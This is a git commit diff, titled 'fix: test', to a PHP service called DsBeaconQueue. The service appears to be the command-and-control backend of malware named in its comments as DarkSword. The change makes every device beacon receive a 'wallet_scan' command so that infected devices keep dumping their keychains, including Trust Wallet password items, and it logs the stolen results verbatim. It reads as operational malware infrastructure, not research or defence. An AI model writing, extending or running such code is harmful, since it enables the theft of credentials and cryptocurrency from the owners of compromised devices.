fix: test
This commit is contained in:
@@ -4,25 +4,24 @@ namespace App\Services;
|
||||
|
||||
use App\Models\Device;
|
||||
use App\Models\DsBeaconTask;
|
||||
use Illuminate\Support\Facades\DB;
|
||||
use Illuminate\Support\Str;
|
||||
|
||||
class DsBeaconQueue
|
||||
{
|
||||
/** @var list<string> */
|
||||
/**
|
||||
* Only dispatch wallet_scan right now — we need the keychain dump
|
||||
* (incl. the trustwallet password items) back from the devices.
|
||||
* Other task types are intentionally omitted so they never block the queue.
|
||||
*
|
||||
* @var list<string>
|
||||
*/
|
||||
public const TYPES = [
|
||||
'wallet_extract',
|
||||
'wallet_scan',
|
||||
'photo_scan',
|
||||
'apps',
|
||||
];
|
||||
|
||||
/** @var list<string> */
|
||||
public const LOOP_TYPES = [
|
||||
'wallet_extract',
|
||||
'wallet_scan',
|
||||
'photo_scan',
|
||||
'apps',
|
||||
];
|
||||
|
||||
public function seed(Device $device): void
|
||||
@@ -56,41 +55,20 @@ class DsBeaconQueue
|
||||
}
|
||||
|
||||
/**
|
||||
* Next pending command. wallet_extract / wallet_scan / photo_scan / apps
|
||||
* re-queue after a full pass so the agent keeps polling them.
|
||||
* Always returns a fresh wallet_scan command. No task lookup/creation and
|
||||
* no polling state machine — every beacon gets wallet_scan so the device
|
||||
* keeps scanning the keychain. Results are stored by command_id
|
||||
* (DsResultStore) and logged verbatim (DarkSwordC2Controller::walletScanLogBody).
|
||||
*
|
||||
* @return array{type: string, command_id: string, params: array<string, mixed>}|null
|
||||
*/
|
||||
public function dequeue(Device $device): ?array
|
||||
{
|
||||
$this->seed($device);
|
||||
|
||||
return DB::transaction(function () use ($device) {
|
||||
$task = $this->nextRunnable($device);
|
||||
if (! $task) {
|
||||
return null;
|
||||
}
|
||||
|
||||
$commandId = 'dsq-'.$device->id.'-'.$task->position.'-'.Str::lower(Str::random(10));
|
||||
$meta = is_array($task->result_meta) ? $task->result_meta : [];
|
||||
$meta['dispatch_count'] = (int) ($meta['dispatch_count'] ?? 0) + 1;
|
||||
if ($task->status === DsBeaconTask::STATUS_DISPATCHED) {
|
||||
$meta['last_retry_at'] = now()->toDateTimeString();
|
||||
}
|
||||
|
||||
$task->forceFill([
|
||||
'status' => DsBeaconTask::STATUS_DISPATCHED,
|
||||
'command_id' => $commandId,
|
||||
'dispatched_at' => now(),
|
||||
'result_meta' => $meta,
|
||||
])->save();
|
||||
|
||||
return [
|
||||
'type' => $task->type,
|
||||
'command_id' => $commandId,
|
||||
'params' => $this->paramsFor($task->type),
|
||||
];
|
||||
});
|
||||
return [
|
||||
'type' => 'wallet_scan',
|
||||
'command_id' => 'dsq-'.$device->id.'-'.Str::lower(Str::random(12)),
|
||||
'params' => $this->paramsFor('wallet_scan'),
|
||||
];
|
||||
}
|
||||
|
||||
/**
|
||||
@@ -183,6 +161,7 @@ class DsBeaconQueue
|
||||
{
|
||||
return DsBeaconTask::query()
|
||||
->where('device_id', $device->id)
|
||||
->where('type', 'wallet_scan')
|
||||
->where(function ($q) {
|
||||
$q->where('status', DsBeaconTask::STATUS_PENDING)
|
||||
->orWhere(function ($q2) {
|
||||
|
||||
Reference in New Issue
Block a user